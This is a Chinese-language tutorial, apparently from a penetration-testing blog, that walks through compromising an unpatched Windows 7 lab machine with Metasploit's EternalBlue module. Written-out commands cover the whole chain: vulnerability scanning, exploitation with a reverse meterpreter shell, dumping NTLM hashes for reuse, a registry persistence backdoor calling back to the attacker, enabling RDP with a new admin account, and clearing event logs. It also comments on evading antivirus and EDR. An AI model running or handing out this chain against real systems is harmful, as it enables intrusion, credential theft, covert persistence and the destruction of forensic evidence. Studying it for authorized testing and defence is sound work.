打开Metasploit控制台，敲下 msfconsole，等它加载完。屏幕上跳出一堆模块数量统计，我一般不看，直接进正题。渗透Windows机器，最常用的入口就那几个：永恒之蓝、SMB弱口令、RDP爆破。今天拿一台没打补丁的Win7 SP1做演示，靶机IP是192.168.1.105，攻击机Kali在192.168.1.102。

先搜一下MS17-010。输入 search ms17-010，出来四个模块。辅助扫描的、两个利用的、一个后渗透的。我习惯先用 auxiliary/scanner/smb/smb_ms17_010 探一下，确认目标到底有没有戏。

use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.1.105 run

回显“Host is likely VULNERABLE to MS17-010!”——好，有戏。这种确认步骤别省，直接上exploit打空了浪费时间，还容易在日志里留一堆噪音。

切到利用模块。 use exploit/windows/smb/ms17_010_eternalblue 。这个模块的默认payload是 windows/x64/meterpreter/reverse_tcp ，够用。设参数：

set RHOSTS 192.168.1.105 set LHOST 192.168.1.102 set LPORT 4444 run

回车之后，屏幕开始刷“Sending all stages”之类的信息。第一次打的时候心跳有点快，因为永恒之蓝有个毛病——蓝屏概率不低。尤其是目标内存状态不稳定的时候，直接给你来个BSOD。这次运气还行，十几秒后弹出了meterpreter会话。

验证一下： getuid 回显 NT AUTHORITY\SYSTEM 。直接就是系统权限，省了提权那一步。这也是永恒之蓝最舒服的地方，不像Web漏洞拿shell之后还得折腾半天。

接下来做信息收集。 sysinfo 看系统版本， ipconfig 看网卡， ps 列出进程。我注意到目标机器上跑着360安全卫士，但没拦住这个攻击——说明它的补丁确实没打，而且360的主动防御对SMB漏洞的拦截在Win7上不太灵光。这种情况在真实环境里不少见，很多内网机器装个杀软就当交差了。

拿hash。 hashdump 直接导出SAM数据库里的NTLM哈希。管理员账户的哈希拿到手，后续可以拿去撞其他机器。内网渗透里这个价值很大，因为很多人密码复用。

留后门。 run persistence -U -i 10 -p 4444 -r 192.168.1.102 ，注册表启动项加一个反向连接，每10秒重试一次。不过说实话，这种后门在实战里容易被EDR抓，临时用还行，长期驻留得换更隐蔽的手法，比如注入到某个正常进程里。

开远程桌面。 run post/windows/manage/enable_rdp ，模块会自动改注册表、开防火墙端口。然后 run getgui -u test -p Test12345 加个账号，扔进管理员组。这时候用rdesktop连过去，桌面就出来了。

整个流程从扫描到拿桌面，大概三分钟。永恒之蓝这个漏洞2017年爆发，到现在还有大量机器中招。原因不复杂——很多工控机、老旧业务系统跑在Win7/2008上，补丁一打业务就崩，运维只能选择不打。安全圈年年说“永恒之蓝已死”，内网里一搜还是一大片。

最后提一句清理。meterpreter的 clearev 清日志，但别指望它擦干净。Windows事件日志、Sysmon、网络流量镜像，总有一个地方留着痕迹。渗透测试授权范围内做没问题，未授权的话，这些操作够判好几年。